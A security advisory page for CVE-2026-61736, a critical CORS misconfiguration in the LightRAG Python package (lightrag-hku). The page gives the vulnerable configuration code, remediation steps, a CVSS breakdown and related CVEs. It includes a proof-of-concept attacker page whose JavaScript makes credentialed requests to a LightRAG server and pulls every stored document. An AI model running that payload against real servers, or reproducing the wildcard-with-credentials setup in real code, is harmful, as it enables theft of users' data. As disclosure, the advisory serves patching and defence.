Loading...
Skip to main content

CVE-2026-61736 — Vulnerability in lightrag-hku — CVE Details

CRITICAL

LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests

Published July 20, 2026Updated July 23, 2026Source: osv

Summary

### Summary The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user. ### Details ```python # lightrag/api/config.py:639 args.cors_origins = get_env_value("CORS_ORIGINS", "*") # default wildcard # lightrag/api/lightrag_server.py:1379 app.add_middleware( CORSMiddleware, allow_origins=["*"], # any origin allow_credentials=True, # credentials — PROBLEM with wildcard allow_methods=["*"], allow_headers=["*"], ) # Starlette CORSMiddleware (confirmed in source): # preflight_explicit_allow_origin = not allow_all_origins or allow_credentials # = not True or True = True → echoes the requesting origin back, not "*" # Result: every origin receives Access-Control-Allow-Credentials: true ``` ### PoC Host on any origin. Open in browser where user is logged in to LightRAG: ```html <!-- attacker.com/steal.html --> <script> const TARGET = "http://lightrag-server:9621"; (async () => { // Get victim token (or re-use existing session) const r1 = await fetch(`${TARGET}/login`, { method: "POST", credentials: "include", headers: {"Content-Type": "application/x-www-form-urlencoded"}, body: "username=victim&password=known_pass" }); const { access_token } = await r1.json(); // Exfiltrate all documents const docs = await (await fetch(`${TARGET}/documents`, { credentials: "include", headers: { Authorization: `Bearer ${access_token}` } })).json(); console.log("STOLEN DOCS:", docs); })(); </script> ``` ### Impact Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

Advisory Timeline

  • First published July 20, 2026 (84 days ago).
  • Last revised July 23, 2026 — 3 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

pip
Update lightrag-hku to 1.5.4 or later
pip install "lightrag-hku>=1.5.4"

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: pypi (1).

PackageEcosystemAffectedFixed In
lightrag-hku
pypi
0.0.2, 0.0.3, 0.0.4, 0.0.5 (+83 more)1.5.4

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.3 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

Frequently Asked Questions

What is CVE-2026-61736?
LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.3/10).
How do I check if my project is affected by CVE-2026-61736?
CVE-2026-61736 affects lightrag-hku. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-61736 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.3

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-6x6h-qqr7-855w
PYSEC-2026-3474

Related CVEs

  • CVE-2026-61740
    CRITICAL

    LightRAG is Vulnerable to Authentication Bypass: hardcoded DEFAULT_TOKEN_SECRET and public /auth-status defeat LIGHTRAG_API_KEY protection

  • CVE-2026-85734
    CRITICAL

    lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks

  • CVE-2026-61447
    CRITICAL

    PraisonAI: CodeAgent Executes LLM-Generated Code Without Sandboxing and Leaks All Environment Secrets

  • CVE-2026-61445
    CRITICAL

    PraisonAI: AICoder Arbitrary File Write and Command Execution via LLM Tool Calls

  • CVE-2026-61740
    CRITICAL

    LightRAG is Vulnerable to Authentication Bypass: hardcoded DEFAULT_TOKEN_SECRET and public /auth-status defeat LIGHTRAG_API_KEY protection

  • CVE-2026-85734
    CRITICAL

    lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies